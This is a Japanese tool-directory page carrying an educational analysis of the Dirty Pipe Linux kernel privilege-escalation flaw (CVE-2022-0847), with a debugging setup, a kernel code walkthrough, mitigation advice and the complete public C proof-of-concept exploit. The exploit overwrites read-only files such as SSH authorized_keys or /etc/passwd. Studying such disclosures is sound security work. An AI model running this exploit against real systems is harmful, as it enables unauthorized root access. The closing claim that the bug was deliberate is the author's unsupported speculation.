Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-0847 — CVE-2022-0847(Dirty Pipe)Linuxカーネルの権限昇格の脆弱性に関するPoCエクスプロイトと詳細な分析。テストおよびデバッグ用のDocker環境も含む。 | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2022-0847
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

CVE-2022-0847(Dirty Pipe)Linuxカーネルの権限昇格の脆弱性に関するPoCエクスプロイトと詳細な分析。テストおよびデバッグ用のDocker環境も含む。

リポジトリを見る
257544年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-0847 Dirty Pipe Linuxカーネル権限昇格分析

[toc]

本記事は華為セキュリティ公式アカウントに初出掲載されたものです。こちらはブログ版(より完全な内容)です。

初出リンク:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

脆弱性概要

脆弱性ID: CVE-2022-0847 (別名: ダーティパイプ dirty pipe)

脆弱性対象: linux kernel - splice syscall

影響バージョン: linux 5.8 パッチ f6dd975583bd で導入~5.16.11、5.15.25、5.10.102 で修正

脆弱性の影響: 任意の読み取り可能ファイルに対して1ページ以内の内容を書き込むことが可能(十分な影響力)、ローカル権限昇格が可能。

環境構築

脆弱性分析用docker: chenaotian/cve-2022-0847 (まだアクセスできない場合は、まだアップロードが完了していない可能性があります。)

提供内容:

  • 脆弱性を含むデバッグ可能なカーネル5.13(コンパイル済み)
  • qemu、gdb、linux カーネル5.13ソースコード
  • exp

起動:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

デバッグ:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

脆弱性原理

脆弱性の簡単な原理は、splice 関数を呼び出すことで「ゼロコピー」形式でファイルを pipe に送信できることです。コードレベルでのゼロコピーは、ファイルキャッシュページ(page cache)をそのまま pipe の buf ページとして使用します。しかし、ここで変数の未初期化脆弱性が導入され、ファイルキャッシュページが後続の pipe チャネル内で通常の pipe キャッシュページとして扱われ、「追記」によって改ざんされてしまいます。ただし、この場合、カーネルはこのキャッシュページを「ダーティページ」と判断せず、短時間(次回再起動などまで)ディスクにフラッシュされません。この間、そのファイルにアクセスするすべてのシナリオで改ざんされたファイルキャッシュページが使用されるため、「短時間で任意の読み取り可能ファイルに任意の書き込みを行う」操作が達成されます。これによりローカル権限昇格が可能になります。

脆弱性発生箇所

パッチによると、脆弱性発生箇所は copy_page_to_iter_pipe 関数にあり、buf->flags の初期化処理が追加されています。したがって、これは変数の未初期化脆弱性です。

image-20220308170149137

copy_page_to_iter_pipe の呼び出し箇所は splice システムコール内にあります。splice 関数(システムコール)は「ゼロコピー」方式でファイル内容をパイプに転送します。従来のファイル内容をそのままパイプに送る方法よりもパフォーマンスが優れています。詳細は後述します。

pipeの原理とpipe_write

まず、脆弱性の別名が「ダーティパイプ」であることから、パイプ(pipe)について理解します。pipe はカーネルが提供する通信パイプで、pipe/pipe2 関数で作成され、2つのファイルディスクリプタを返します。1つはデータ送信用、もう1つはデータ受信用で、パイプの両端のようなものです。具体的な使用方法は割愛します。

image-20220309124007780

カーネル内での実装を簡単に説明します。通常、パイプのキャッシュ空間の総長さは65536バイトで、ページ単位で管理されます。合計16ページ(1ページ4096バイト)で、ページ同士は連続しておらず、配列で管理され、リング状のリンクリストを形成します。2つのリンクリストポインタが維持され、1つは書き込み用(pipe->head)、もう1つは読み取り用(pipe->tail)です。ここでは主に pipe_write 関数を分析します:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]パイプキャッシュが空でなければ、現在の最終ページから「追記」できるか試みる
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] 重要:PIPE_BUF_FLAG_CAN_MERGE フラグが存在する場合、そのページへの追記が許可される
             * 書き込み長さがページを跨がない場合は追記、そうでなければ新しいページを開始する */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] 前のページに追記できない場合、新しいページを開始する
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] 新しいページを新規申請
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] 新しく申請されたページをページ配列に格納
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] フラグを設定、デフォルトでPIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] コピー操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. 現在のパイプが空でない場合(head==tail で空と判定)、パイプ内に未読み取りデータがあることを意味します。head ポインタ、つまり最新の書き込み用ページを指すポインタを取得し、そのページの len、offset(データ末尾を見つけるため)を調べます。次に、現在のページへの追記を試みます。
  2. 現在のページが PIPE_BUF_FLAG_CAN_MERGE フラグを持っているかどうかを判断します。フラグが存在しない場合、現在のページへの追記は許可されません。または、書き込むデータを以前のデータの後ろに結合した長さが1ページを超える場合(つまり書き込み操作がページを跨ぐ場合)、跨ぐ場合は追記できません。
  3. 前のページに追記できない場合、新しいページを開始します。
  4. alloc_page で新しいページを申請します。
  5. 新しいページを配列の先頭に配置し(既存のページを置き換える可能性あり)、初期化します。
  6. buf->flag はデフォルトで PIPE_BUF_FLAG_CAN_MERGE に初期化されます。なぜなら、デフォルト状態ではページへの追記が許可されているからです。
  7. 書き込みデータをコピーし、コピーが完了するまで上記操作を繰り返します。

脆弱性悪用の鍵は splice 内で初期化されていない PIPE_BUF_FLAG_CAN_MERGE フラグにあります。これにより、「書き込み未完了」の pipe ページに追記できるかどうかが決まります。

spliceからcopy_page_to_iter_pipeへ

上記で述べたように、pipe は16ページを管理してキャッシュとしています。splice のゼロコピー方式は、ファイルキャッシュページで直接 pipe 内のキャッシュページを置き換える(pipeキャッシュページのポインタをファイルキャッシュページに向けさせる)ことです。

image-20220309124515813

splice システムコールから脆弱性関数 copy_page_to_iter_pipe までの呼び出しスタックは深く、詳細な分析は行いませんが、呼び出しスタックは以下の通りです:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read デフォルトは generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

脆弱性のある copy_page_to_iter_pipe 関数の主な処理は、pipe キャッシュページ構造を転送対象のファイルキャッシュページに向けさせることです:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]対応するpipeキャッシュページを取得
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]pipeキャッシュページの関連情報をファイルキャッシュページに向けさせる
	get_page(page);
	buf->page = page;//[2]ページポインタをファイルキャッシュページに向ける
	buf->offset = offset;//[2]offset,lenなどを現在の情報に設定(spliceの引数により決定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. まず、pipe ページ配列のリング構造に基づき、現在の書き込みポインタ(pipe->head)の位置を見つけます。
  2. 現在書き込みが必要なページを準備されたファイルキャッシュページに向けさせ、他の情報(例えば len は splice システムコールの引数で決定)を設定します。ここで唯一、flag が初期化されず、脆弱性の原因となります。

一般的に初期化後の pipe->bufs は以下のようになります:

image-20220308165052936

このとき、先ほど分析した pipe_write のコードに従えば、pipe_write を再び呼び出して pipe にデータを書き込むと、書き込みポインタ(pipe->head)は上の図のページを指し、flag が PIPE_BUF_FLAG_CAN_MERGE であるため、そのページに追記して書き込めるものとみなされます(書き込み長さがページを跨がない限り):

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]パイプキャッシュが空でなければ、現在の最終ページから「追記」できるか試みる
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] 重要:PIPE_BUF_FLAG_CAN_MERGE フラグが存在する場合、そのページへの追記が許可される
                 * 書き込み長さがページを跨がない場合は追記、そうでなければ新しいページを開始する */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

linuxカーネルのpage cacheメカニズム

linuxは開かれたファイルをキャッシュページに格納し、キャッシュページは使用後も一定時間保持されて不要なI/O操作を避けます。短時間に同じファイルにアクセスする場合、毎回同じファイルキャッシュページが操作され、繰り返し開かれることはありません。そして、この方法でファイルキャッシュページを改ざんすると、短時間にそのファイルにアクセス(読み取り)する操作はすべて、改ざんされたファイルキャッシュページを読み取ることになり、悪用が成立します。

脆弱性の悪用

上記で既に述べた通り、脆弱性の悪用プロセスは非常に単純で、脆弱性の原理を理解すれば悪用可能です。著者の操作によれば、おおまかに以下の手順となります:

  1. パイプを作成します
  2. パイプを満タンにします(pipe_write により)。これにより全ての buf(pipe キャッシュページ)が初期化され、flag はデフォルトで PIPE_BUF_FLAG_CAN_MERGE に設定されます
  3. パイプを空にします(pipe_read により)。これにより splice システムコールでファイルを転送する際に、既に初期化された buf 構造が使用されます
  4. splice 関数を呼び出して、改ざんしたいファイルを転送します
  5. 続けて pipe に内容を書き込みます(pipe_write)。これによりファイルキャッシュページが上書きされ、一時的なファイル改ざんが完了します

詳細デバッグ

ステップ2が終了し、パイプが満タンになった後に空にされると、bufs構造内には次に未初期化内容が再利用するデータが残っています:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

splice 後にファイルが転送されると、以下のようになります。ここで flag は初期化されておらず、また len はできるだけ小さく設定します。小さければ小さいほど、後で「追記」するときに書き込める長さが長くなるからです。ここでは1に設定し、オフセットは改ざんしたい開始アドレスとします。これにより pipe->bufs->page ポインタがその開始アドレスを指すようになります。

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

再度 pipe_write を行うと、追記条件を満たすため、直接ページに追記されます:

image-20220308174556226

exp

私が書いたものではなく、脆弱性開示文書内のものです:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

権限昇格成功:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

現在は任意のファイル書き込みの効果をデモしているだけであり、具体的な悪用としては /etc/passwd の変更、sshキー、または一部のsuidファイルなどを修正して実際の権限昇格を完了させることができます。ここでは実際の操作は行いません(そもそも私はペネトレーションをするわけではないので)。

いくつかの小さな制限(実用上は問題にならない)

  1. ファイルサイズを変更できない(ファイルを大きくすることはできない)
  2. 1回の書き込み長さは1ページ(4k)を超えられない

緩和策

推奨される対応

カーネルの脆弱性であるため、現時点では良い対処方法はなく、修正済みバージョン(5.16.11、5.15.25、5.10.102以降)へのカーネルアップグレードを推奨します。

脆弱性確認(ツール)

脆弱性開示者が公開したPOCに基づき、簡単な確認ツールを作成しました。脆弱性が存在する場合「There is CVE-2022-0847」と出力されます:

image-20220308202244668

脆弱性が存在しない場合「You are safe!」と出力されます。

参考

脆弱性開示:https://dirtypipe.cm4all.com/

陰謀論

PIPE_BUF_FLAG_CAN_MERGE という flag は全部で5回出現します。1回は #define 宣言、2回は pipe_write 内、残り2回はすべて splice 内にあります:

image-20220308211006312

さらに、この変数が関与するコードから分かるように、この変数の意味は「現在の最新の pipe キャッシュページへの追記を許可するかどうか」です。通常、pipe 自身が申請したページは普通のページであり、追記することは普通です。どのような場合に追記が許可されないかというと、そのページが pipe 自身が申請したページではない場合、勝手に変更してはいけないからです。現在の状況から見ると、ほぼ splice のみが pipe 自身が申請した以外のページに関与しています。言い換えれば、PIPE_BUF_FLAG_CAN_MERGE という flag は splice のために設計されたものです。それなのに、初期化しないと言うのですか?

したがって、この脆弱性は単なるうっかりミスではないのではないかと疑っています…。

ツールをダウンロード